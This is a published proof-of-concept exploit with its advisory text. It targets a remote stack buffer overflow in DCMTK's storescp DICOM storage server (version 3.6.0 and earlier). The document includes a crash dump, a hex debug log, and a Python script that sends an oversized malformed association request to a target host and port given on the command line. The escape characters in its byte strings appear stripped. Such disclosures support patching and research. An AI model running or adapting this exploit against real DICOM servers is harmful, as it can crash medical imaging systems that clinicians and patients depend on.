DCMTK storescp DICOM storage (C-STORE) SCP Remote Stack Buffer Overflow
Posted on 16 December 2016
#!/usr/bin/env python # -*- coding: utf8 -*- # # # DCMTK storescp DICOM storage (C-STORE) SCP Remote Stack Buffer Overflow # # # Vendor: OFFIS e. V. # Product web page: http://www.dcmtk.org # Affected version: <= 3.6.0 # Not affected: DCMTK-3.6.1_20160216 - https://github.com/commontk/DCMTK/commit/1b6bb76 # # http://www.idoimaging.com/programs?order=program.rdate& # # Summary: DCMTK is a collection of libraries and applications implementing large # parts the DICOM standard. It includes software for examining, constructing and # converting DICOM image files, handling offline media, sending and receiving images # over a network connection, as well as demonstrative image storage and worklist # servers. DCMTK is is written in a mixture of ANSI C and C++. It comes in complete # source code and is made available as "open source" software. # # Desc: "At several places in the code a wrong length of ACSE data structures received # over the network can cause overflows or underflows when processing those # data structures. Related checks have been added at various places in order # to prevent such (possible) attacks. Thanks to Kevin Basista for the report." # # The bug will indeed affect all DCMTK-based server applications that accept incoming # DICOM network connections that are using the dcmtk-3.6.0 and earlier versions. # Developers are advised to apply the patched-DCMTK-3.6.1_20160216 fix commit from # Dec 14, 2015. # # --------------------------------------------------------------------------------- # # Process 27765 stopped # * thread #1: tid = 0x3e4b46, 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x10380001b) # frame #0: 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325 # storescp`parsePresentationContext: # -> 0x1000a6f1d <+3325>: movb (%rax), %al # 0x1000a6f1f <+3327>: movzbl %al, %eax # 0x1000a6f22 <+3330>: cmpl $0x40, %eax # 0x1000a6f25 <+3333>: movl %eax, -0xa74(%rbp) # (lldb) re r # General Purpose Registers: # rax = 0x000000010380001b # rbx = 0x0000000000000000 # rcx = 0x00000001002d40f0 vtable for log4cplus::spi::AppenderAttachable + 16 # rdx = 0x0000000000000010 # rdi = 0x00007fff5fbf78a0 # rsi = 0x3f7bc30000000000 # rbp = 0x00007fff5fbf7b30 # rsp = 0x00007fff5fbf7030 # r8 = 0x0000000100733918 # r9 = 0x00000000003e4b46 # r10 = 0x0000000100733920 # r11 = 0xffffffff00000000 # r12 = 0x0000000000000000 # r13 = 0x0000000000000000 # r14 = 0x0000000000000000 # r15 = 0x0000000000000000 # rip = 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325 # rflags = 0x0000000000010246 # cs = 0x000000000000002b # fs = 0x0000000000000000 # gs = 0x0000000000000000 # # (lldb) # # ===== # # a bin ./storescp -d 4242 # D: $dcmtk: storescp v3.6.0 2011-01-06 $ # D: # D: setting network receive timeout to 60 seconds # D: PDU Type: Associate Request, PDU Length: 32881 + 6 bytes PDU header # D: Only dumping 512 bytes. # D: 01 00 00 00 80 71 00 01 00 00 4f 52 54 48 41 4e # D: 43 20 20 20 20 20 20 20 20 20 54 45 53 54 53 55 # D: 49 54 45 00 00 00 00 00 00 00 00 00 00 00 00 00 # D: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 # D: 00 00 00 00 00 00 00 00 00 00 10 00 00 15 31 2e # D: 32 2e 38 34 30 2e 31 30 30 30 38 2e 33 2e 31 2e # D: 31 2e 31 20 00 80 00 41 42 43 44 41 42 43 44 41 # D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 # D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 # D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 # D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 # D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 # D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 # D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 # D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 # D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 # D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 # D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 # D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 # D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 # D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 # D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 # D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 # D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 # D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 # D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 # D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 # D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 # D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 # D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 # D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 # D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 # D: # D: Parsing an A-ASSOCIATE PDU # [1] 25553 segmentation fault ./storescp -d 4242 # a bin # # --------------------------------------------------------------------------------- # # Tested on: Microsoft Windows 7 Professional SP1 (EN) # Microsoft Windows 7 Ultimate SP1 (EN) # MacOS X 10.12.2 Sierra # Linux Ubuntu 14.04.5 # FreeBSD 10.3 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2016-5384 # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5384.php # # # 22.11.2016 # import socket, sys hello = ('x01x00x00x00x80x71x00x01x00x00x4fx52x54x48' 'x41x4ex43x20x20x20x20x20x20x20x20x20x4ax4f' 'x58x59x50x4fx58x59x21x00x00x00x00x00x00x00' 'x00x00x00x00x00x00x00x00x00x00x00x00x00x00' 'x00x00x00x00x00x00x00x00x00x00x00x00x00x00' 'x00x00x00x00x10x00x00x15x31x2ex32x2ex38x34' 'x30x2ex31x30x30x30x38x2ex33x2ex31x2ex31x2e' 'x31x20x00x80x00') bye = ('x50x00x00x0cx51x00x00x04x00x00x07xde' 'x52x00x00x00') buffer = 'x41x42x43x44' * 10000 if len(sys.argv) < 3: print ' Usage: ' +sys.argv[0]+ ' <target> <port>' print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 4242 ' sys.exit(0) host = sys.argv[1] port = int(sys.argv[2]) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect((host, port)) s.settimeout(251) s.send(hello+buffer+bye) s.close